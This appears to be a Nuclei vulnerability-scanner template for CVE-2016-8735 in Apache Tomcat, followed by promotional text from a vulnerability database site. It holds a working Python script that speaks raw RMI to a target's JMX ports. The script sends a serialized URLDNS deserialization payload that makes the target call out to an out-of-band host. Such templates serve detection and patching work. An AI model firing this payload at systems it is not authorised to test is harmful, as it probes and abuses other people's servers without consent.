id: CVE-2016-8735
info:
name: Apache Tomcat - Remote Code Execution via JMX Ports
author: hnd3884
severity: critical
description: |
Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
reference:
- https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0
- https://nvd.nist.gov/vuln/detail/cve-2016-8735
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-8735
epss-score: 0.93875
epss-percentile: 0.99861
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
shodan-query: product:"tomcat"
vendor: apache
product: tomcat
tags: cve,cve2016,apache,tomcat,rce,kev,vkev,vuln
variables:
OAST: "{{interactsh-url}}"
HOST: "{{Host}}"
RMI_REGISTRY_PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import socket
import os
OAST, HOST, PORT = os.getenv('OAST'), os.getenv('HOST'), int(os.getenv('RMI_REGISTRY_PORT'))
### Initialize socket and connect to RMI server, Locate "UnicastRef2" and extract rmiServerPort ###
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((HOST, PORT))
s1.send(bytes.fromhex("4a524d4900024b"));s1.recv(4096)
s1.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
s1.send(bytes.fromhex("50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf7400066a6d78726d69"))
response = s1.recv(4096)
following_bytes = response[response.find(b"UnicastRef2") + len("UnicastRef2") + 1:]
rmiServerPort = int(following_bytes[:2].hex(), 16)
rmiServerPort = int(following_bytes[2:][rmiServerPort + 1:rmiServerPort + 4].hex(), 16)
### Exploit rmiServerPort ###
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((HOST, rmiServerPort))
s2.send(bytes.fromhex("4a524d4900024b"));s2.recv(4096)
s2.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
s2.send(bytes.fromhex("50aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078702d4f7f1ffa7877b4737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000192f5ff701a9cb3f67477088000000000000000737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008f1c6fcc113e4dd097371007e0005800100000192f6835b0fb632f8a1"))
# URLDNS payload to detect unsafe deserialization
hex4 = "50aced000577222191ba09e57952f396b68ddb00000193151cdd268001fffffffff0e074eaad0caea8737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e0003707870ffffffffffffffff74002a6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e74000071007e00057400056874747073707874003268747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e78"
ind = hex4.find('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
hex4 = hex4[:ind-2] + hex(len(OAST))[2:] + hex4[ind:]
ind = hex4.find('68747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
hex4 = (hex4[:ind-2] + hex(len('https://'+OAST))[2:] + hex4[ind:]).replace('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e', OAST.encode().hex())
# Send serialized payload
s2.send(bytes.fromhex(hex4))
response = s2.recv(4096)
response = s2.recv(4096)
s2.close()
print(response.hex())
matchers:
- type: dsl
dsl:
# Check "Credentials should be String[] instead of java.util.HashMapur" in last response
- 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1aData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation